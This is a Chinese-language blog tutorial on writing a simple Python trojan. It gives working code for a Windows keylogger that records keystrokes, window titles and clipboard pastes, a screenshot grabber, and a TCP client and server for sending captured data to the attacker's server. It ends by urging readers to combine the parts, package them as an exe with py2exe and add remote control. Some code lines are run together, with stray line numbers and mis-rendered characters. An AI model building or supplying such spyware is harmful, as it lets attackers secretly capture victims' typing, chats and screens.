如何使用Python編寫(xiě)簡(jiǎn)易木馬程序

這次我們使用Python編寫(xiě)一個(gè)具有鍵盤(pán)記錄、截屏以及通信功能的簡(jiǎn)易木馬。依然選用Sublime text2 +JEDI(python自動(dòng)補(bǔ)全插件)來(lái)擼代碼。

首先

準(zhǔn)備好我們需要的依賴庫(kù),python hook和pythoncom。

下載(這個(gè)鏈接和原文一致)安裝python hook

下載安裝pythoncom模塊:

鍵盤(pán)記錄器

說(shuō)起Keylogger,大家的思維可能早已飛向帶有wifi功能的mini小硬件去了。拋開(kāi)高科技,我們暫且回歸本質(zhì),探探簡(jiǎn)易鍵盤(pán)記錄器的原理與實(shí)現(xiàn)。

Python keylogger鍵盤(pán)記錄的功能的實(shí)現(xiàn)主要利用了pythoncom及pythonhook,然后就是對(duì)windows API的各種調(diào)用。Python之所以用起來(lái)方便快捷,主要?dú)w功于這些龐大的支持庫(kù),正所謂“人生苦短,快用Python”。

代碼部分:

# -*- coding: utf-8 -*-  from ctypes import *import pythoncomimport pyHookimport win32clipboard
 
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
 #def get_current_process():
 
    # 獲取最上層的窗口句柄
    hwnd = user32.GetForegroundWindow()
 
    # 獲取進(jìn)程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
 
    # 將進(jìn)程ID存入變量中
    process_id = "%d" % pid.value 
    # 申請(qǐng)內(nèi)存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
 
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
 
    # 讀取窗口標(biāo)題
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
 
    # 打印
    print
    print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    print
 
    # 關(guān)閉handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
 # 定義擊鍵監(jiān)聽(tīng)事件函數(shù)def KeyStroke(event):
 
    global current_window 
    # 檢測(cè)目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽(tīng)新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName        # 函數(shù)調(diào)用
        get_current_process()
 
    # 檢測(cè)擊鍵是否常規(guī)按鍵(非組合鍵等)
    if event.Ascii > 32 and event.Ascii <127:
        print chr(event.Ascii),
    else:
        # 如果發(fā)現(xiàn)Ctrl+v(粘貼)事件,就把粘貼板內(nèi)容記錄下來(lái)
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 循環(huán)監(jiān)聽(tīng)下一個(gè)擊鍵事件
    return True
 # 創(chuàng)建并注冊(cè)hook管理器kl = pyHook.HookManager()kl.KeyDown = KeyStroke 
# 注冊(cè)hook并執(zhí)行kl.HookKeyboard()pythoncom.PumpMessages()12345678910111213

【知識(shí)點(diǎn)】鉤子(Hook):Windows消息處理機(jī)制的一個(gè)平臺(tái),應(yīng)用程序可以在上面設(shè)置子程以監(jiān)視指定窗口的某種消息,而且所監(jiān)視的窗口可以是其他進(jìn)程所創(chuàng)建的。

擼代碼時(shí)一定要注意嚴(yán)格區(qū)分大小寫(xiě)。檢查無(wú)誤后啟動(dòng)keylogger:


然后可以嘗試打開(kāi)記事本寫(xiě)點(diǎn)東西,過(guò)程中可以看到我們的keylogger窗口正在對(duì)我們的輸入實(shí)時(shí)記錄:


切換窗口時(shí)會(huì)自動(dòng)跟蹤到新窗口(眾:這點(diǎn)功能都沒(méi)有還敢叫keylogger嗎?。?,light教授趁機(jī)騷擾一下瘋狗,可以看到我們的keylogger已經(jīng)跟蹤到QQ聊天窗口,并忠實(shí)的記錄下我輸入的一切。


看看你在干什么:編寫(xiě)一個(gè)screenshotter

截屏實(shí)現(xiàn)起來(lái)更簡(jiǎn)單,直接調(diào)用幾個(gè)gui相關(guān)的api即可,我們直接看代碼:

# -*- coding: utf-8 -*-  import win32guiimport win32uiimport win32conimport win32api 
# 獲取桌面hdesktop = win32gui.GetDesktopWindow()
 # 分辨率適應(yīng)width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
 # 創(chuàng)建設(shè)備描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)
 # 創(chuàng)建一個(gè)內(nèi)存設(shè)備描述表mem_dc = img_dc.CreateCompatibleDC()
 # 創(chuàng)建位圖對(duì)象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)
 # 截圖至內(nèi)存設(shè)備描述表mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
 # 將截圖保存到文件中screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
 # 內(nèi)存釋放mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())

看看效果如何:


綜合運(yùn)用:完成一個(gè)簡(jiǎn)易木馬

無(wú)論是keylogger記錄下的內(nèi)容,還是screenshotter截獲的圖片,只存在客戶端是沒(méi)有太大意義的,我們需要構(gòu)建一個(gè)簡(jiǎn)單server和client端來(lái)進(jìn)行通信,傳輸記錄下的內(nèi)容到我們的服務(wù)器上。

編寫(xiě)一個(gè)簡(jiǎn)單的TCPclient

# -*- coding: utf-8 -*-import socket 
# 目標(biāo)地址IP/URL及端口target_host = "127.0.0.1"target_port = 9999
 # 創(chuàng)建一個(gè)socket對(duì)象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 # 連接主機(jī)client.connect((target_host,target_port))
 # 發(fā)送數(shù)據(jù)client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
 # 接收響應(yīng)response = client.recv(4096)
 print response1234567891011121314151617181920

編寫(xiě)一個(gè)簡(jiǎn)單的TCPserver

# -*- coding: utf-8 -*-import socketimport threading 
# 監(jiān)聽(tīng)的IP及端口bind_ip = "127.0.0.1"bind_port = 9999
 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 server.bind((bind_ip,bind_port))
 server.listen(5)
 print "[*] Listening on %s:%d" % (bind_ip,bind_port)
 def handle_client(client_socket):
 
    request = client_socket.recv(1024)
 
    print "[*] Received:%s" % request
 
    client_socket.send("ok!")
 
    client_socket.close()
 while True:
 
    client,addr = server.accept()
 
    print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
 
    client_handler = threading.Thread(target=handle_client,args=(client,))
 
    client_handler.start()1234567891011121314151617181920212223242526

開(kāi)啟服務(wù)端監(jiān)聽(tīng):


客戶端執(zhí)行:


服務(wù)端接收到客戶端的請(qǐng)求并作出響應(yīng):

結(jié)語(yǔ)

最后,你需要做的就是把上面三個(gè)模塊結(jié)合起來(lái),一個(gè)簡(jiǎn)易的具有鍵盤(pán)記錄、屏幕截圖并可以發(fā)送內(nèi)容到我們服務(wù)端的木馬就完成了??梢允褂胮y2exe把腳本生成exe可執(zhí)行文件。當(dāng)然你還可以繼續(xù)發(fā)揮,加上遠(yuǎn)程控制功能。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容